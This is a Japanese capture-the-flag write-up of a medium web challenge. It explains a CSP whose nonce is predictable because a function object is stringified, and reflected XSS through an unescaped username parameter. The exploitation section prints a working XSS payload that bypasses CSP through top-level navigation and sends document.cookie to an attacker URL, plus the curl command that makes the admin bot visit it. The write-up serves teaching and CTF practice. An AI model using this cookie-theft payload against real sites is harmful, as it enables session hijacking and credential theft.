FEAT:🚩 Daily-AlpacaHack 「Hello Programmer!」Medium
Reflected_XSS, CSP
20260527-daily-web-medium-Hello_Programmer
- Category: web
- Description: こんにちは!
- Tech Stack: Python, JavaScript
- Keyword: CSP, Reflected_XSS
- Flag:
{*** REDACTED ***}
階層構造
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.
├── bot
│ ├── bot.js
│ ├── Dockerfile
│ ├── index.js
│ ├── package.json
│ ├── package-lock.json
│ └── views
│ └── index.ejs
├── compose.yaml
└── web
├── Dockerfile
├── index.js
├── package.json
├── package-lock.json
└── views
└── index.ejs
5 directories, 12 files
Solution Path
CSP (Content Security Policy) の設定
CSPはブラウザが,どのリソースを読み込み・実行できるかを制御するための機構です1.(HTTP Response Header) このプログラムでは,正しい nonce を持つ インライン script/style タグのみ許可される設定になっています.
1
2
3
4
5
6
7
8
9
10
#...
response.headers["Content-Security-Policy"] = (
"default-src 'none'; " # 正しいnonceを持つ インラインscript/style タグ以外の操作は全て禁止
f"script-src 'nonce-{nonce}'; " # レスポンスヘッダのnonceと一致するnonce属性を持つ <script> タグ内のJavaScriptは実行可能
f"style-src 'nonce-{nonce}'; " # 正しいnonceを持つ <style> タグ,あるいはstyle属性 (style-srcにunsafe-inlineがないためタグのみが対象) によるスタイル適用が可能
"object-src 'none'; " # プラグイン読み込み不可
"base-uri 'none'; " # <base> タグによる相対パスの基準URL操作の禁止
"frame-ancestors 'none'" # このページ自体が <iframe> などで他サイトから埋め込まれることの禁止
)
#...
例外的な挙動
CSPの仕様上,以下の挙動は上記のポリシーを記述していても制限されません.
- トップレベルナビゲーション (画面遷移):
- CSPは リソースの読み込み や 通信 を制限しますが,
window.location = "..."や<meta http-equiv="refresh">を用いた ブラウザ全体のURL遷移 は,ポリシーの直接的な制御対象外です.
- CSPは リソースの読み込み や 通信 を制限しますが,
POST: /api/report
渡されたIPアドレスのうち,片方は,Report to Admin Bot というページに繋がっています. フォームに対して入力したパスが,/api/report というAPIに path パラメータとして渡され,"http://localhost:3000/" + path の形で結合されます.
bot/view/index.ejs: クライアント側でのAPI呼び出し
1
2
3
4
5
6
7
8
9
//...
$response.textContent = "Response from bot: " + await(await fetch("/api/report", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({ path }),
})).text();
//...
bot/index.js: サーバ側でのAPI定義
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.post("/api/report", async (req, res) => {
const { path } = req.body;
if (typeof path !== "string") {
return res.status(400).send("Invalid path");
}
const url = APP_URL + path; // "http://localhost:3000/" + path
try {
await visit(url);
return res.send("OK");
} catch (e) {
console.error(e);
return res.status(500).send("Something wrong");
}
});
構築されたURLに対して,visit(url) し,成功すれば OK を返すようです. また,visit 関数は,渡された url に対して,Headless Chromium を使用して,FLAG を含む Cookie を所持した状態でアクセスするようです.
bot/bot.js: visit()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//...
export const visit = async (url) => {
console.log(`Start visiting: ${url}`);
const browser = await puppeteer.launch({
headless: "new",
pipe: true,
executablePath: "/usr/bin/chromium",
args: [
"--no-sandbox",
"--disable-dev-shm-usage",
"--disable-gpu",
'--js-flags="--noexpose_wasm"',
],
});
try {
const page = await browser.newPage();
await page.setCookie({
name: "FLAG",
value: FLAG,
domain: new URL(APP_URL).hostname,
path: "/",
});
await page.goto(url, { timeout: 5000 });
await sleep(5000);
await page.close();
} catch (e) {
console.error(e);
}
await browser.close();
console.log(`End visiting: ${url}`);
};
1. 不適切な nonce の生成
本来,nonce はリクエストごとに推測不可能な値である必要があります.しかし,secrets.token_bytes を関数として呼び出さず,オブジェクトのまま str() に渡しています. これにより,secrets.token_bytes のメモリアドレスを含む文字列をそのまま nonce にしています.具体的には,出力は <function token_bytes at 0x7f...> のようになります. よって,一度値が固定されるとプロセスの再起動まで使い回される (予測可能になる) という不備が生まれています.
1
2
3
4
5
#...
@app.before_request
def set_nonce():
g.nonce = base64.b64encode(str(secrets.token_bytes).encode()).decode("ascii") # 本来であれば,secrets.token_bytes(16) のように記載されるべき
#...
2. username のエスケープ不足による 反射型XSS
web/app.py において,username = request.args.get("username", "...") となっています. これは,URLのクエリパラメータ ?username=... から値を取得する実装ですが,その値に対してのエスケープ処理が一切記載されていません. INDEX.format(...) で事前に定義されたHTML文字列 (INDEX) の中に,取得した username と生成された nonce をそのまま埋め込んでいます.
これにより,入力がただの文字列として扱われず,HTMLの一部 として解釈されうる状態になっています. 埋め込まれている nonce を取り出し,実際に以下の例でアクセスすると,XSSが発火することが分かります.
例: /?username=<script%20nonce="xxxx"%20defer>alert(1)</script>
次は,どのように /api/report が発行する Flagを含むCookie をこのXSSを通じて漏洩させるかを考えます.
web/app.py: エスケープされていない username
1
2
3
4
5
6
7
8
9
10
11
INDEX = """
<!DOCTYPE html>
<html lang="en">
#...
</head>
<body>
<h1>Hello {username}!</h1>
#...
</body>
</html>
""".strip()
Exploitation
1. Nonce の窃取
ブラウザの開発者ツールのネットワークタブを用いて,レスポンス全体のソースから nonce を抜き取ります.
<ip>.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Hello!</title>
<style nonce="<NONCE>">
h1 {
color: transparent;
background: linear-gradient(90deg,red,orange,yellow,lime,cyan,blue,violet,red) 0/200%;
-webkit-background-clip: text;
animation: rainbow 1s linear infinite
}
@keyframes rainbow {
to {
background-position:200%
}
}
</style>
</head>
<body>
<h1>Hello programmer!</h1>
<script nonce="<NONCE>" defer>
const h1 = document.querySelector("h1");
h1.addEventListener("click", () => {
alert(h1.textContent);
})
</script>
</body>
</html>
2. Flag の窃取
抜き取った nonce を利用します. CSPの例外的な挙動として述べた,location オブジェクトを利用して,chromiumに取得させたCookieを自身のサーバにクエリパラメータとして飛ばします. また,サーバには WebHook.site2 を利用します.
XSS ペイロード
1
2
Raw Text:
?username=<script nonce="xxxx" defer>window.location="<ATTACKER_URL>/?flag="+encodeURIComponent(document.cookie)</script>
コマンドを実行したのち,ブラウザからサーバのログにアクセスすると,Query strings として,FLAG が入手できました.
1
2
3
4
5
$ curl -X POST http://<ip>:<port>/api/report \
-H "Content-Type: application/json" \
-d '{
"path": "/?username=<URL_ENCODED_PAYLOAD>"}'
OK
ペイロードの仕組み
1. ブラウザによる検証と実行
- HTMLへの埋め込み: サーバーは,あなたが送信した
usernameパラメータの内容をそのままHTMLの<h1>Hello ... !</h1>の位置に挿入します. - CSPの検証: ブラウザがこのページを読み込む際,ページに設定されている CSP をチェックします.
- ブラウザは 「この
<script>タグにはnonce="xxxx"がついているか」 と確認します. - もしその
xxxxが,サーバーがレスポンスヘッダで指定した正しいnonceと一致していれば,ブラウザはこのスクリプトを信頼できるものと判断し,実行を許可します.
- ブラウザは 「この
2. データの抽出と持ち出し
document.cookieの読み取り: ブラウザが現在保持している該当ドメインの Cookie を取得します.- URLの構築:
locationへの代入操作により,ブラウザは 「現在のページから指定された URL へ移動せよ」 という命令を受け取ります.- この時,Flag が URL のクエリパラメータ (
?flag=...) として結合されます. encodeURIComponentを使用することで,Cookie に含まれる特殊文字が URL で安全に扱える形式に変換され,正しくサーバーに届くようになります.
- この時,Flag が URL のクエリパラメータ (
3. 通信の実現 (CSP回避の仕組み)
前述の通り,CSP の default-src 'none' は fetch() や XMLHttpRequest はブロックしますが,トップレベルナビゲーション(画面遷移) は ブロックしません. location = "..." を実行することは,JavaScript で通信を行うのではなく,ブラウザの機能を使って 「今見ているページを別の場所へ切り替える」 ことを意味します. そのため,この動作は CSP の通信制限の対象外として,ブラウザは攻撃者の指定したURLに対して,Flag を保持したまま移動してしまいます.